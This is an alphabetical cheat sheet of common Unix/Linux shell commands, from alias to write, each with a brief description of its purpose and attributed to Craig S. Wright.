$uname -a
=> Linux linux-09l5 2.6.25.16-0.1-pae #1 SMP 2008-08-21
00:34:25 +0200 i686 i686 i386 GNU/Linux

Command Summary

The following are a list of *NIX commands and a quick summary of their use.

A

alias: Create an alias
apropos: Search Help manual pages (man -k)
at: Execute scheduled command at a time
awk: Find and Replace text

B

bash: GNU Bourne-Again Shell
bg: Send to background
break: Exit from a loop

C

case: Conditionally perform a command
cat: Display the contents of a file
cd: Change the Directory
cfdisk: Partition table manipulator for Linux
chgrp: Change group ownership
chmod: Change access permissions
chown: Change file owner and group
chroot: Run a command with a different root directory
chkconfig: System services (runlevel)
cksumPrint: CRC checksum and byte counts
clear: Clear the terminal screen
cmp: Compare two files
comm: Compare two sorted files line by line
command: Run a command – ignoring shell functions
continue: Resume the next iteration of a loop
cp: Copy one or more files to another location
cron: Daemon to execute scheduled commands
crontab: Schedule a command to run at a later time
csplit: Split a file into context-determined sections
cut: Divide a file into several parts

D

date: Display or change the date & time
dd: Convert and copy a file, write disk headers, boot records
declare: Declare variables and give them attributes
df: Display free disk space
diff: Display the differences between two files
dig: DNS lookup
dmesg: Print kernel & driver messages
du: Estimate file space usage

E

echo: Display message on screen
egrep: Search file(s) for lines that match an extended
(regex) expression
eject: Eject removable media
emacs: A test editor
enable: Enable and disable built-in shell commands
env: Set or view environment variables
ethtool: Ethernet card settings
eval: Evaluate several commands/arguments
exec: Execute a command
exit: Exit a shell
expect: Automate arbitrary applications accessed over a terminal
expand: Convert tabs to spaces
export: Set an environment variable
expr: Evaluate expressions

F

fg: Send job to foreground
fgrep: Search file(s) for lines that match a fixed string
file: Determine the file’s type (i.e., pdf, text, etc.)
find: Search for files that meet a desired criteria
for: Expand words, and execute commands – used for looping
in shells
format: Format disks or tapes
free: Display memory usage
ftp: File Transfer Protocol
G
gawk: Find and Replace text within a file/files
grep: Search file(s) for lines that match a given pattern
groups: Print group names a user is in
gzip: Compress or decompress named file/files

H

head: Output the first part of file(s)
history: Print the command history
hostname: Print or set the host’s system name

I

id: Print user and group ids
if: Conditionally perform a command
ifconfig: Configure a network interface
ifdown: Stop a network interface
ifup: Start a network interface up
import: Capture an X server screen and save the image to file

K

kill: Stop or end a running process
killall: Kill processes by name

L

less: Display output one screen at a time
let: Perform arithmetic on shell variables
ln: Make links between files
local: Create variables
locate: Find files
logname: Print the user’s current login name
logout: Exit a login shell
lpr: Print a file
lprm: Remove jobs from the print queue
ls: List information about file/files
lsof: List open files

M

make: Re/Compile a program
man: The *NIX help manual
mkdir: Create new folder/folders
mkfifo: Make FIFOs (named pipes)
mknod: Make block or character special files
more: Display output one screen at a time
mount: Mount a file system
mv: Move or rename files or directories

N

netstat: Display network information
nice: Set the priority of a command or job
nslookup: Query DNS servers interactively

O

open: Open a file in its default application

P

passwd: Modify a user’s password
ping: Test a network connection
popd: Restore the previous value of the current directory
ps: Process status
pushd: Save and then change the current directory

Q

quota: Display disk usage and limits
quotacheck: Scan a file system for disk usage
quotactl: Set disk quotas

R

ram: Create and manage a RAM based disk device
rcp: Copy files between two machines
read: Read a line from standard input
reboot: Reboot the system
renice: Alter priority of running processes
remsync: Synchronize remote files via email
return: Exit a shell function 
rev: Reverse lines of a file
rm: Remove files
rmdir: Remove folder/folders
rsync: Remote file copy (Synchronize file trees)

S

screen: Multiplex terminal, run remote shells via ssh
scp: Secure copy (remote file copy)
sdiff: Merge two files interactively
sed: The stream Editor
select: Accept keyboard input
seq: Print numeric sequences
set: Manipulate shell variables and functions
sftp: Secure File Transfer Program
shift: Shift positional parameters
shopt: Shell Options
shutdown: Shutdown or restart linux
sleep: Delay for a specified time
slocate: Find files
sort: Sort text files
source: Run commands from a file `.’
split: Split a file into fixed-size sections
ssh: Secure Shell client (an encrypted remote login program)
strace: Trace system calls and signals
su: Substitute user identity
sudo: Execute a command as another user
sum: Print a checksum for a file

T

tail: Output the last part of files
tar: Tape Archiver
tee: Redirect output to multiple files
time: Measure a program’s running time
touch: Change file timestamps
top: List the processes running on the system
traceroute: Trace the Route to a Host over a network
trap: Run a command when a signal is set (bourne)
tty: Print filename of terminal on stdin
type: Describe a command

U

ulimit: Limit user resources
umask: Change a user’s file creation mask
umount: Unmount a device
unalias: Remove an alias
uname: Print system information
unexpand: Convert spaces to tabs
unset: Remove variable or function names
unshar: Unpack shell archive scripts
until: Execute commands (until error)
useradd: Create a new user account
usermod: Modify a user account
users: List the currently logged in users on a system
uuencode: Encode a binary file
uudecode: Decode a file created by uuencode

V

vi: Text Editor
vmstat: Report virtual memory statistics

W

watch: Execute or display a program periodically (that is
every so often)
wc: Print byte, word, and line counts
whereis: Report all known instances of a command
which: Locate a program file in the user’s path.
while: Execute commands when a statement is true
who: Print all of the usernames currently logged into
a host
whoami: Print the current user id and name (`id -un’)
wget: Retrieve web pages or files via HTTP, HTTPS or FTP
write: Send a message to another user on a host

 

CRAIG S. WRIGHT
CraigSWright@acm.org

ESG Labs: TrueNAS Technical Report

iXsystems values privacy for all visitors. Learn more about how we use cookies and how you can control them by reading our Privacy Policy.